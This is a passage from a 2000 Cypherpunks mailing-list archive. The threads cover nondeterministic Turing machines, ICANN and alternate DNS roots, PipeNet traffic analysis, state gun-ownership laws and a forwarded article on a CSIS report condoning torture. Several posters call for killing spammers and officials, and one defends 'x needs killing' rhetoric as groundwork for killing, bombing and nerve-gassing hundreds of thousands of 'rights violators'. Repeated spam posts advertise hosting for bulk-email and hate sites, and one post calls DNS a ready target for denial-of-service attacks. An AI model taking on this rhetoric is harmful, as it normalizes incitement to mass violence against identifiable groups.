roots of a quadratic at the same time). However, we're right back to 'provably correct' which can't occur, even in principle because there are some legitimate input states that can't be resolved as 'correct'. I wasn't the one who injected 'guessing' in there (which a NDTM doesn't do, ever. It takes the next state only after a 'proof of correctness' step.). When the 'guess' factor is injected then you get a probabilistic NDTM. Which is what I was addressing. As to your assertion that they aren't the same thing, they can certainly be combined. Which was my interpetation of the 'guess an answer and prove it' and 'using a NDTM'. To me that implied a probabilistic NDTM, and that is what I ran with. Within the context of a universal set such as "all Boolean equations" it is clear that the distinction between a NDTM and a DTM is irrelevant. It goes back to the fact that NDTM can be shows to handle no languages that a DTM can resolve. So injecting a NDTM into the mix does nothing to change the results. In addition a NDTM has little worth in a world where we postulate all possible Boolean sentences are resolvable. It, after all, allows a state to be both 1 and 0, clearly contrary to our assertion. What one would want is to show that a DTM was all that is required to resolve any of those Boolean equations. Which can't be done if we accept the NDTM <-> DTM proof. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From schear at lvcm.com Sun Nov 5 18:57:28 2000 From: schear at lvcm.com (Steve Schear) Date: Sun, 05 Nov 2000 18:57:28 -0800 Subject: CDR: Applying California law to ICANN In-Reply-To: <200011052241.QAA82912@chao.insync.net> Message-ID: <4.3.2.7.0.20001105184518.04e85470@pop3.lvcm.com> At 02:41 PM 11/5/00 -0800, Eric Cordian wrote: >Tim May writes: > > > It may well be that political activists discover this whole ICANN > > thing and realize they have a golden opportunity to have California > > laws applied to black/delist sites they dislike, organizations they > > think are racist, etc. > > > The Southern Law Poverty Center, the Simon Wiesenthal Hate Center, > > and other ZOG-controlled commie organizations will likely be going > > into overtime. > >DNS and the root servers are a single point of failure in the global >Internet, and one that is easily pressured to delete pointers to speech >that is deemed politically incorrect. It can also be an excellent single point of DoS attack for hacktivists. A few days of DNS unavailability and poof go most of the ISP caches. >It wouldn't surprise me in the least, if in the near future, sites deemed >to be monkeywrenching the system wind up having to be addressed by numeric >IPs, and even having their packets derouted. This is a compelling reason for promoting the widespread use of censorship-resistant peer-to-peer systems such as Mojo Nation. Although MN URLs now supports only location-based identification akin to IP addressing, name-based addressing is under development. --steve From abs at squig.org Sun Nov 5 19:07:02 2000 From: abs at squig.org (Alex B. Shepardsen) Date: Sun, 5 Nov 2000 19:07:02 -0800 (PST) Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: On Thu, 2 Nov 2000, Kevin Elliott wrote: > You know, I don't like spammers any more than the next guy, but come > on. Unethical? we're not talking genocide and it's not like it We ought to be. If spammers feared death as a result of their actions, they would be a lot less likely to spam. Alex From pjcjr at us.ibm.com Sun Nov 5 16:35:33 2000 From: pjcjr at us.ibm.com (Peter Capelli/Raleigh/Contr/IBM) Date: Sun, 5 Nov 2000 19:35:33 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... Message-ID: Yes, while it would be unconstitutional for the federal government to pass this law, how could it be unconstitutional as a local or state statute? Something similar to requiring X number of smoke detectors per square foot. Additionally, it does not mention a paperwork requirement for not owning a gun. While I admit it seems like a foolish law (akin to requiring a citizen to vote), I hardly see how it would require 'a killing'. Also, given their views, killing them may not be as easy as others who are unarmed. ;-) Thanks! -p "Those who would give up essential liberty for temporary safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 Tim May @cyberpass.net on 11/05/2000 04:32:13 PM Please respond to Tim May Sent by: owner-cypherpunks at cyberpass.net From nobody at hotmail.com Sun Nov 5 11:54:40 2000 From: nobody at hotmail.com (Nobody) Date: Sun, 05 Nov 2000 19:54:40 GMT Subject: CDR: BULK EMAIL-FRIENDLY WEB HOSTING!!!! Message-ID: <4WiN5.47147$mv2.117395@news2-win.server.ntlworld.com> Contact sales at hostmatters.com or call TOLL-FREE on 1-877-381-1083 if you have any questions. Dear Readers, I have found this incredible service called HOSTING MATTERS Hosting Matters is a fantastic way to host adult and bulk email-friendly web sites with NO WORRIES about getting shut down as they are only out to try and make money, not police the net. The service is VERY CHEAP and I recommend it for the following types of sites: - Bulk emailing - Adult content & services - Controversial/Hate sites As far as I know, they have NEVER shut down above-mentioned types of sites! For more info contact them on the web site below. http://www.hostmatters.com or an alternative URL: http://www.hostingmatters.com From baptista at vrx.net Sun Nov 5 16:57:40 2000 From: baptista at vrx.net (!dr.baptista) Date: Sun, 5 Nov 2000 19:57:40 -0500 (EST) Subject: CDR: Roots servers on rise - ICANN's golden egg cracking (fwd) Message-ID: ---------- Forwarded message ---------- Date: Sun, 5 Nov 2000 18:34:04 -0500 (EST) From: !Dr. Joe Baptista Reply-To: orange at dns.list To: list at ifwp.org Cc: DOMAIN-POLICY at LISTS.NETSOL.COM, orange at dns.list, NCDNHC Subject: Roots servers on rise - ICANN's golden egg cracking Last year alternate roots supported 0.3% of internet traffic. This year alternate roots are supporting 5.5% of internet traffic. The BIND study this year to date has ennumerated 60,513 dns (15% of 399,937 dns) of which 3,331 report they are using non-USG roots. In my opinion - this is significant. And it puts a whole new twist on the song - what a difference a day makes. -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From jimdbell at home.com Sun Nov 5 20:14:34 2000 From: jimdbell at home.com (jim bell) Date: Sun, 5 Nov 2000 20:14:34 -0800 Subject: CDR: Re: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers References: Message-ID: <007501c047a8$11e25fa0$a6d11018@vncvr1.wa.home.com> ----- Original Message ----- From: Alex B. Shepardsen > On Thu, 2 Nov 2000, Kevin Elliott wrote: > > > You know, I don't like spammers any more than the next guy, but come > > on. Unethical? we're not talking genocide and it's not like it > > We ought to be. If spammers feared death as a result of their actions, > they would be a lot less likely to spam. I've got a solution to that....oh, never mind. If "spammers" attached a digi-nickel to each spam, you'd only have to get 300 such pieces per month (10 per day) to pay for the typical ISP account monthly cost. Jim Bell From sfurlong at acmenet.net Sun Nov 5 17:18:34 2000 From: sfurlong at acmenet.net (Steven Furlong) Date: Sun, 5 Nov 2000 20:18:34 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... Message-ID: <3A0606C1.295CA41F@acmenet.net> > Yes, while it would be unconstitutional for the federal government to >pass this law, how could it be unconstitutional as a local or state >statute? I'm not sure it would be unconstitutional for the federal gov't to pass such a law, unless you rely on the widely-ignored 10th Amendment. (The Federal gov't has only those powers specifically granted to it by the Constitution; clearly we, in these enlightened times, need no such constraints on the operations of our benevolent Big Brother.) (And that was sarcasm, for Tim and the other sarcasm-impaired.) The supremes have decided, in their wisdom, that the amendments to the federal constitution apply to the states as well. Thus, the 1st amendment prohibits states as well as the feds from regulating speech. > While I admit it seems like a foolish law (akin to requiring a citizen >to vote), I hardly see how it would require 'a killing'. No, I agree with Tim, they need killing. I'd put them on the list, but below the gun grabbers. No one says the list can't be prioritized. I suppose it's possible that they were simply making a point, with the collusion of the vast majority of their residents. >Also, given their >views, killing them may not be as easy as others who are unarmed. ;-) Heh, not likely to be true. Most or all "public figure" gun grabbers seem to have bodyguards, or special dispensation to carry handguns because of the risks inherent to being a public figure, or whatever. Politicians, of course, are not to be held to the same standards as the little people. In NYC, a fair number of actors and such are able to get the almost-impossible-for-the-common-swine carry permits, for themselves or their associates. I saw a list a couple of years ago, and, no, I don't have a cite. Same for Los Angeles. Need it be pointed out that many of these actors use their fame to rail against the proliferation of guns? In the late 80's, IIRC, a famously anti-gun columnist from Chicago, IIRC, Carl Rowen, IIRC, was found with an unlicensed pistol; he'd heard a late-night disturbance outside his apartment, went outside with gun in hand, and was caught by the cops. He at least had the limited grace to write a column describing the incident and stating that his pubicly-stated position might not be entirely consistent with what he felt was best for himself. -- Steve Furlong, Computer Condottiere Have GNU, will travel 518-374-4720 sfurlong at acmenet.net From jimdbell at home.com Sun Nov 5 18:23:13 2000 From: jimdbell at home.com (jim bell) Date: Sun, 5 Nov 2000 21:23:13 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... References: <3A0606C1.295CA41F@acmenet.net> Message-ID: <003f01c04798$77992460$a6d11018@vncvr1.wa.home.com> ----- Original Message ----- X-Loop: openpgp.net From: Steven Furlong To: Multiple recipients of list Sent: Sunday, November 05, 2000 17:18 PM Subject: Re: Here's an interesting twist on gun control ... > > > While I admit it seems like a foolish law (akin to requiring a citizen > >to vote), I hardly see how it would require 'a killing'. > > No, I agree with Tim, they need killing. I'd put them on the list, but > below the gun grabbers. No one says the list can't be prioritized. And anyone who says the list can't be prioritized needs killing B^) Jim Bell From bear at sonic.net Sun Nov 5 22:08:45 2000 From: bear at sonic.net (Ray Dillinger) Date: Sun, 5 Nov 2000 22:08:45 -0800 (PST) Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: Message-ID: On Sun, 5 Nov 2000, Peter Capelli/Raleigh/Contr/IBM wrote: > Yes, while it would be unconstitutional for the federal government to >pass this law, how could it be unconstitutional as a local or state >statute? Something similar to requiring X number of smoke detectors per >square foot. An interesting exercise is to ask where the government (ANY branch of government) gets the authority to require me to put smoke detectors in my home. If my house burns down, that's my tough toenails, right? Well, probably not in the city. In a densely built area, the government is exercising the PRESUMED property rights of my neighbors to minimize the risk to their homes from fires I may start. But it has done so, in most cases, without ever consulting my neighbors or getting their authorization for such action. I really wish that property ownership, or whatever else, came with an attached list of the supposed "property rights" exercised on your behalf by government. I think people would be appalled at what their presumed interests amount to complicity in. Bear From adam at cypherspace.org Sun Nov 5 19:11:54 2000 From: adam at cypherspace.org (Adam Back) Date: Sun, 5 Nov 2000 22:11:54 -0500 Subject: CDR: PipeNet protocol Message-ID: <200011060314.WAA01504@cypherspace.org> Wei Dai wrote: > On Thu, Nov 02, 2000 at 10:14:24AM -0500, Adam Shostack wrote: > > Actually, I'm unconvinced that even pipenet style padding is > > sufficient. Looking at the work on traffic analysis thats been done, > > we're in about 1970. We have one time pads (dc-nets), and some other > > stuff, but we don't have a DES to analyze. We have an adversary who > > has spent a long time learning how to do this well. > > I'd prefer if people talked about PipeNet style traffic scheduling > instead of PipeNet style traffic padding. What's really important to > PipeNet security is that the timing of packets don't leak information, > and padding is just a part of what's necessary to achieve that kind > of timing. So I'd agree with you that padding by itself isn't sufficient, > but I'd be interested in hearing more if you think PipeNet as a whole > isn't sufficient. For those that don't know about PipeNet Wei has a description here [1]. PipeNet is a synchronous mix-net where users stay connected and consume bandwidth 24x365 to avoid revealing when they are using it. PipeNet's synchronous behavior would be implemented on top of TCP with it's best-effort service by using the following scheduling algorithm (from [1]): | Each node expects one packet from each link id in each time unit. | Extra packets are queued for processing in later time units. | However, if a node does not receive a packet for a link id in a | particular time unit, it stops normal processing of packets for that | time unit and queues all packets. This ensures that any delay is | propagated through the entire network and cannot be used to trace a | particular connection. This is to defend against active attacks delaying packets to observe the effect on the network and hence trace routes. However I think this scheduling algorithm would have the side effect of making this variant of PipeNet very vulnerable to DoS attacks. Any user can arbitrarily delay packet delivery for the entire network by ceasing to send packets. It would also seem that performance would degrade badly to effectively the performance of the worst ping time link. (PipeNet uses mixing at each node.) Perhaps there are some engineering trade-offs you could make if you were to try to practically implement PipeNet. Adam [1] http://www.eskimo.com/~weidai/pipenet.txt From nobody at hotmail.com Sun Nov 5 14:20:37 2000 From: nobody at hotmail.com (Nobody) Date: Sun, 05 Nov 2000 22:20:37 GMT Subject: CDR: ATTENION!!!! BULK FRIENDLY WEB HOSTING!!!! Message-ID: Contact sales at hostmatters.com or call TOLL-FREE on 1-877-381-1083 if you have any questions. Dear Readers, I have found this incredible service called HOSTING MATTERS Hosting Matters is a fantastic way to host adult and bulk email-friendly web sites with NO WORRIES about getting shut down as they are only out to try and make money, not police the net. The service is VERY CHEAP and I recommend it for the following types of sites: - Bulk emailing - Adult content & services - Controversial/Hate sites As far as I know, they have NEVER shut down above-mentioned types of sites! For more info contact them on the web site below. http://www.hostmatters.com or an alternative URL: http://www.hostingmatters.com From George at Orwellian.Org Sun Nov 5 19:27:59 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sun, 5 Nov 2000 22:27:59 -0500 (EST) Subject: CDR: Re: Roots servers on rise - ICANN's golden egg cracking Message-ID: <200011060327.WAA20623@www0.aa.psiweb.com> # Last year alternate roots supported 0.3% of internet traffic. # # This year alternate roots are supporting 5.5% of internet traffic. # # The BIND study this year to date has ennumerated 60,513 dns (15% of # 399,937 dns) of which 3,331 report they are using non-USG roots. Don't "alternate roots" have to have a copy of what the main root servers have? Then they are doing a favor by off-loading traffic. Separately, I've noticed something on my Solaris 8 box. I often freeze my Netscape browser windows when leaving the computer for a while. That's because FoxNews and NYT (for example) keep reloading themselves again and again. This is unwanted push traffic. It's not costing me anything over my DSL/Cable modems, it's just unwanted by me. Even with browsers frozen... I recently left 'snoop' running, and found I was initiating DNS traffic...to FoxNews and NYT. Looking closer, I had DNS queries regarding non-browser-accessed sites, like ftp. So, Solaris at least, is generating 100% unnecessary DNS traffic. Oh, Joy. From ravage at einstein.ssz.com Sun Nov 5 20:36:04 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sun, 5 Nov 2000 22:36:04 -0600 (CST) Subject: CDR: A quantum computer link on /. Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From mnorton at cavern.uark.edu Sun Nov 5 20:44:54 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Sun, 5 Nov 2000 22:44:54 -0600 (CST) Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: Message-ID: Again we have one of those few occasions in which Tim and I are in perfect agreement. To require gun ownership just because "arms" or "militia" is in the Constitution makes as much sense as requiring us all to have a press just because "press" is in the Constitution. Now to the second point, police power regulation by states, implicitly cited below. We settled in the Civil War the question of whether States get to arm themselves against invasion. They don't. I have no doubt the same holds true for municipalities. The "common defense" is a national defense. A State has no authority to require you to keep or bear arms. MacN On Sun, 5 Nov 2000, Tim May wrote: > At 7:35 PM -0500 11/5/00, Peter Capelli/Raleigh/Contr/IBM wrote: > > Yes, while it would be unconstitutional for the federal government to > >pass this law, how could it be unconstitutional as a local or state > >statute? Something similar to requiring X number of smoke detectors per > >square foot. > > While I don't agree that the 14th Amendment ("equal protection...") > was needed, this is the basis for reminding states that they may not > pass laws which are unconstitutional. > > Thus, Oregon may not pass a law banning Mormonism, even though the C. > says "Congress shall make no law..." > > Further, every state agreed to uphold the U.S. Constitution upon > entry (and perhaps as a condition of entry, though I'm not a C. > expert on this) to the Union. > > It won't fly to say that while Congress may not ban guns, or require > guns, that states and local jurisdictions are free to do thusly. > > As for smoke detectors, they fall in the same category as seat belts, > helmets, and other such intrusions: unconstitutional, a "taking." > While they may be _good ideas_, it is not the business of government > to enter our homes in this way. > > Smoke detectors and wiring standards are, however, a long way away > from banning guns, or requiring guns. Let's not get sidetracked into > chestnuts like "If libertarians don't want government, how do roads > get built?" There _are_ answers, but they require laying some > groundwork. > > The point I was making is that those who think they can outsmart the > gun banners by _requiring_ guns are giving ammunition to the banners. > And are violating the Constitution. > > >Additionally, it does not mention a paperwork requirement for > >not owning a gun. > > One becomes a violator of the law by not having a gun. One could > mount a defense based on the C. issues, or the C.O. issues. This is > what I meant by "paperwork." > > Well, we don't _need_ to justify to anyone why we don't have a > television, or telephone, or computer, or rifle, or encyclopedia, or > anything else "required" by some law. > > Think about it. > > > > > While I admit it seems like a foolish law (akin to requiring a citizen > >to vote), I hardly see how it would require 'a killing'. Also, given their > >views, killing them may not be as easy as others who are unarmed. ;-) > > I make the point about "x needs killing" to help lay the moral > groundwork. Just as preachers had been saying "abortion clinics are a > scourge and should be bombed," and bombings then started, it helps if > people start to think in terms of hundreds of thousands of rights > violators having earned killing, bombing, and nerve gassing. > > Doesn't mean I plan to do it myself, any more than the preachers > saying that killing abortionists is a moral act planned to do it > themselves. It's about the moral issues. And changing the moral > climate. > > Read "Unintended Consequences," by John Ross, for a fuller > explication of this point. > > Crypto anarchy doesn't just mean erosion of government, it provides > the means to carry the war for liberty into the belly of the beast. > Unlike many, I've never hidden this basic point. Think about it. > > If this scares off some weak sisters, good. > > --Tim May > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. > > From tcmay at got.net Sun Nov 5 23:11:40 2000 From: tcmay at got.net (Tim May) Date: Sun, 5 Nov 2000 23:11:40 -0800 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: References: Message-ID: At 10:08 PM -0800 11/5/00, Ray Dillinger wrote: >On Sun, 5 Nov 2000, Peter Capelli/Raleigh/Contr/IBM wrote: > >> Yes, while it would be unconstitutional for the federal government to >>pass this law, how could it be unconstitutional as a local or state >>statute? Something similar to requiring X number of smoke detectors per >>square foot. > > >An interesting exercise is to ask where the government (ANY branch of >government) gets the authority to require me to put smoke detectors >in my home. If my house burns down, that's my tough toenails, right? In California, smoke detectors for homes are required AS PART OF A SALE, but not before or after. That is, there is no requirement placed on an ordinary homeowner. As usual, rules for landlords are much different. Enforcement being through the usual method of renters suing for large sums because the landlord let the $7.99 smoke detector run low on battery power. On the point of a law requiring guns, I just can't think of anything the law requires me to have in my house. As it should be. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From anmetet at mixmaster.shinn.net Sun Nov 5 20:14:04 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Sun, 5 Nov 2000 23:14:04 -0500 Subject: CDR: US report urges Arafat to use torture for peace Message-ID: <438f5b53521dca6382cdd2535f5435ba@mixmaster.shinn.net> http://www.independent.co.uk/news/World/Middle_East/2000-11/ruthless061100.shtml An influential think-tank advises Palestinian Authority to ruthlessly repress militant elements without regard for basic human rights By Robert Fisk in Gaza 6 November 2000 Palestinian leaders have been shocked to read an American think-tank report which urges them to act "ruthlessly" against opponents of the Oslo agreement � even if this involves "excessive force", trials without due process of law and "interrogation methods that border on psychological and/or physical torture." A draft copy of the report by the influential Centre for Strategic and International Studies (CSIS), which has close links with the United States government, has been published on the internet and circulated among dozens of members of the Palestinian Authority in Gaza, including Yasser Arafat's most senior intelligence officers. The report says that even if peace follows the "Second Intifada", "both sides [Palestinian and Israeli] will be forced to conduct aggressive [sic] security operations for years to come" which "can have a high price tag in terms of human rights." By way of comparison, it adds that British security forces in Northern Ireland "balanced" what it calls "effective security" with human rights � even though "the British used excessive force, abused human rights, and used extreme interrogation methods and torture." Amnesty International and other human rights groups have frequently condemned the use of arbitrary false arrest, detention and torture by Arafat's "muhabarrat" security apparatus, pointing out that CIA operatives appear to have been complicit in these abuses. Far from denouncing these practices, however, the draft CSIS report appears to encourage their use, stating that "such measures also tend to work". The document is dated 18 October and bears the name of Anthony H Cordesman � a former national security assistant to failed Republican presidential candidate Senator John McCain � who is now holder of the Arleigh A Burke Chair in Strategy at the CSIS, named after the former Chief of US Naval Operations. His document is heavily referenced to CIA, State Department and Israeli sources and, according to Palestinian officials here, has been circulated within the US and Israeli governments. Entitled "Peace and War: Israel versus the Palestinians", it recounts the turbulent history of Israeli-Palestinian relations since the 1993 Oslo agreement although its bias is obvious from the frequent use of "terrorist" to describe violent Arab groups and the almost ubiquitous use of "extremist" in reference to their violent Israeli opposite numbers. It excuses the use of Israeli live bullets against stone-throwers, adding that CS gas and rubber bullets are often "not effective in stopping large groups" and that "troops cannot let mobs armed with stones and Molotov cocktails close on their positions, or rely on the riot control gear used in civil disobedience." In a section headed "The Need for Palestinian Authority Ruthlessness and Efficiency", it states "there will be no future peace, or stable peace process, if the Palestinian security forces do not act ruthlessly and effectively. They must react very quickly and decisively in dealing with terrorism and violence if they are to preserve the momentum of Israeli withdrawal, the expansion of Palestinian control, and the peace process. They must halt civil violence even if this sometimes means using excessive force by the standards of Western police forces. They must be able to halt terrorist and paramilitary action by Hamas and Islamic Jihad even if this means interrogations, detentions and trials that are too rapid and lack due process. If they do not, the net cost to both peace and the human rights of most Palestinians will be devastating." The report says that permission must be obtained for any publication of the contents, but copies have now been circulated throughout the Palestinian Authority, including the offices of Mohamed Dahalan and Jibril Rajoub, respectively heads of Arafat's "Preventative Security" in Gaza and Ramallah. Both Dahalan and Rajoub were sent to Langley, Virginia, for what was called "human rights training" by US government intelligence services. Although it condemns "Israeli terrorism" � a phrase used only once and in reference to Jewish settlers' groups � the document concludes with chilling advice to both Palestinians and Israelis. "Every counter-terrorist force that has ever succeeded has had to act decisively and sometimes violently," it says. "Effective counter-terrorism relies on interrogation methods that border on psychological and/or physical torture, arrests and detentions that are 'arbitrary' by the standards of civil law, break-ins and intelligence operations that violate the normal rights of privacy, levels of violence in making arrests that are unacceptable in civil cases, and measures that involve the innocent (or at least not provably directly guilty) in arrests and penalties." The issue, the report adds, "is not whether extreme security measures will sometimes be used, or whether they are sometimes necessary. The issue is rather how many such acts occur, how well-focused they are on those who directly commit terrorism, and how justified they are in terms of their relative cost-benefits." Palestinian officials here noted with surprise how accurate was the report's list of escalating Israeli responses to the current low-intensity war, from Israeli mobilisation of armour to the sealing off of Palestinian towns and "the use of helicopter gunships and snipers to provide mobility and suppressive fire". Apparently based on a 1996 Israeli test plan codenamed "Operation Field of Thorns", the military responses end with the "forced evacuation" of Palestinians from "sensitive areas". Palestine Authority officers, however, were taken aback to read that the PA's "military strength" includes a Lockheed Jetstar aircraft. The plane, they point out, happens to be Arafat's personal executive jet. From alan at clueserver.org Sun Nov 5 20:36:14 2000 From: alan at clueserver.org (Alan Olsen) Date: Sun, 5 Nov 2000 23:36:14 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace In-Reply-To: <438f5b53521dca6382cdd2535f5435ba@mixmaster.shinn.net> Message-ID: On Sun, 5 Nov 2000, An Metet wrote: > http://www.independent.co.uk/news/World/Middle_East/2000-11/ruthless061100.shtml > > An influential think-tank advises Palestinian Authority to ruthlessly repress militant elements without regard for basic human rights > > By Robert Fisk in Gaza > "If you can't beat em, beat em!" alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From bill.stewart at pobox.com Sun Nov 5 23:47:53 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sun, 05 Nov 2000 23:47:53 -0800 Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: References: Message-ID: <3.0.5.32.20001105234753.00b10250@idiom.com> At 06:04 PM 11/5/00 -0600, Jim Choate wrote: > >On Sun, 5 Nov 2000, dmolnar wrote: > >> > There is no guarantee that a NDTM will guess the correct answer at any >> > stage. The question the NDTM answers over a DTM is "Is there a statistical >> > algorithm that is more efficient than a deterministic one?". >> >> Um, the definition of "nondeterministic Turing machine" implies such a >> guarantee. You seem to be thinking of a probabilistic Turing machine - a >> machine which can flip coins and use the results in an algorithm. >> They are **not** the same thing. >??? > >A NDTM has a stage which if given correct input will cause the result to >have one of several states (e.g. A Turing machine that holds both roots of >a quadratic at the same time). However, we're right back to 'provably >correct' which can't occur, even in principle because there are some >legitimate input states that can't be resolved as 'correct'. I wasn't the >one who injected 'guessing' in there (which a NDTM doesn't do, ever. It >takes the next state only after a 'proof of correctness' step.). When >the 'guess' factor is injected then you get a probabilistic NDTM. Which is >what I was addressing. Dave's right, Jim. The NDTM obtains The Right Answer by using a process you could call "guessing" or you could call "an oracle". That's not "Oracle" like "Larry Ellison telling you what you WILL buy next", it's "Oracle" like "Stoned priestess telling you that if you attack today, a great kingdom will fall", and the polynomial-time part is where you crank that through and find out that yes, it's correct. (Unfortunately it's *your* kingdom, but it's correct.) The reason the NDTM is hypothetical is because always guessing the right answer isn't a technology that's really available, unless quantum computers can do that with a sufficently useful precision. (Looks like QCs will at best guess the right answer some of the time, not all the time, and you'll still have to check it.) >In addition a NDTM has little worth in a world where we postulate all >possible Boolean sentences are resolvable. It, after all, allows a state >to be both 1 and 0, clearly contrary to our assertion. What one would want >is to show that a DTM was all that is required to resolve any of those >Boolean equations. Which can't be done if we accept the NDTM <-> DTM proof. The NDTM doesn't allow the state to be both 0 and 1, it tells you which. The DTM part verifies that the answer from the oracle is correct, even though obtained by non-deterministic magic. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tcmay at got.net Sun Nov 5 20:49:16 2000 From: tcmay at got.net (Tim May) Date: Sun, 5 Nov 2000 23:49:16 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace In-Reply-To: <438f5b53521dca6382cdd2535f5435ba@mixmaster.shinn.net> References: <438f5b53521dca6382cdd2535f5435ba@mixmaster.shinn.net> Message-ID: At 11:14 PM -0500 11/5/00, An Metet wrote: >http://www.independent.co.uk/news/World/Middle_East/2000-11/ruthless061100.shtml > >An influential think-tank advises Palestinian Authority to >ruthlessly repress militant elements without regard for basic human >rights > >By Robert Fisk in Gaza > >6 November 2000 > >Palestinian leaders have been shocked to read an American think-tank >report which urges them to act "ruthlessly" against opponents of the >Oslo agreement - even if this involves "excessive force", trials >without due process of law and "interrogation methods that border on >psychological and/or physical torture." > >A draft copy of the report by the influential Centre for Strategic >and International Studies (CSIS), which has close links with the >United States government, has been published on the internet and >circulated among dozens of members of the Palestinian Authority in >Gaza, including Yasser Arafat's most senior intelligence officers. This has been SOP for the U.S. for a half century or more. -- CIA training schools for torturers, assassins, death squads, etc. -- "College of the Americas" -- extremely "anti-constitutional" policies in countries the U.S. invades: confiscation of all privately-owned weapons, shutting down of newspapers and radio stations critical of the U.S. invasion, imposition of price controls...the U.S.G. treats moves into foreign countries as the chance to do everything it can't do inside the U.S. -- did I mention training torturers and death squad members in Honduras, Argentina, Guatemala, El Salvador, Somalia (before the natives kicked out the U.S. soldiers via what the U.S.G. called "terrorism"), and numerous other countries (The U.S. Army had developed the "Can you fly?" torture method, where a group of Viet Cong or NVA prisoners were loaded onto choppers and then, one by one, pushed out at a few thousand feet. The Argentinians modified this for their treatment of the students, union members, and political activists they arrested by the tens of thousands: they loaded them onto C-5 cargo planes and pushed them out over the ocean. No wonder they "disappeared." The CIA no doubt updated their training manuals accordingly.) By the way, my best demolition manuals are from the U.S.G. (I picked up a set of four CD-ROMs with nearly all of the U.S.G. terrorism, assassination, mayhem, booby trap, and similar manuals. Precisely the kind of "bomb-making instructions" the criminals like Sen. Swinestein are trying to get banned.) > >The document is dated 18 October and bears the name of Anthony H >Cordesman - a former national security assistant to failed >Republican presidential candidate Senator John McCain - who is now >holder of the Arleigh A Burke Chair in Strategy at the CSIS, named >after the former Chief of US Naval Operations. His document is >heavily referenced to CIA, State Department and Israeli sources and, >according to Palestinian officials here, has been circulated within >the US and Israeli governments. Cordesman is also, ironically, a journalist for audio and audiophile magazines, the kind of magazines ("Stereophile," "The Absolute Sound") which report on the Tice Clock, an LED alarm clock which when plugged into any outlet in the room of a stereo system results in "a delicate softening of the mid-range digital signals, enhancing the perceived dimensionality of the tonal experience. The fact that the Tice Clock was _advertised_ in these rags, er, journals, was unimportant. (I'm not criticizing Cordesman for these audio things, just noting that I've been following his career since the Gulf War, when he was a daily commentator on CNN and similar networks. Yes, he's the same guy...no error.) --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From captain_kirk at beta.freedom.net Sun Nov 5 20:55:18 2000 From: captain_kirk at beta.freedom.net (captain_kirk at beta.freedom.net) Date: Sun, 5 Nov 2000 23:55:18 -0500 Subject: CDR: Re: PipeNet protocol References: <200011060314.WAA01504@cypherspace.org> Message-ID: <200011060455.XAA21740@domains.invweb.net> > For those that don't know about PipeNet Wei has a description here > [1]. PipeNet is a synchronous mix-net where users stay connected and > consume bandwidth 24x365 to avoid revealing when they are using it. My isp would start charging me extra if I surpassed my monthly ul/dl limit. Is this realistically feasible with today's infrastructure? ________________________________________________________________________ Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net From nobody at hotmail.com Sun Nov 5 16:05:16 2000 From: nobody at hotmail.com (Nobody) Date: Mon, 06 Nov 2000 00:05:16 GMT Subject: CDR: ATTENION!!!! BULK FRIENDLY WEB HOSTING!!!! Message-ID: <0BmN5.64344$hk2.141743@news6-win.server.ntlworld.com> Contact sales at hostmatters.com or call TOLL-FREE on 1-877-381-1083 if you have any questions. Dear Readers, I have found this incredible service called HOSTING MATTERS Hosting Matters is a fantastic way to host adult and bulk email-friendly web sites with NO WORRIES about getting shut down as they are only out to try and make money, not police the net. The service is VERY CHEAP and I recommend it for the following types of sites: - Bulk emailing - Adult content & services - Controversial/Hate sites As far as I know, they have NEVER shut down above-mentioned types of sites! For more info contact them on the web site below. http://www.hostmatters.com or an alternative URL: http://www.hostingmatters.com From declan at well.com Sun Nov 5 21:06:03 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 6 Nov 2000 00:06:03 -0500 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: ; from pjcjr@us.ibm.com on Sun, Nov 05, 2000 at 07:35:33PM -0500 References: Message-ID: 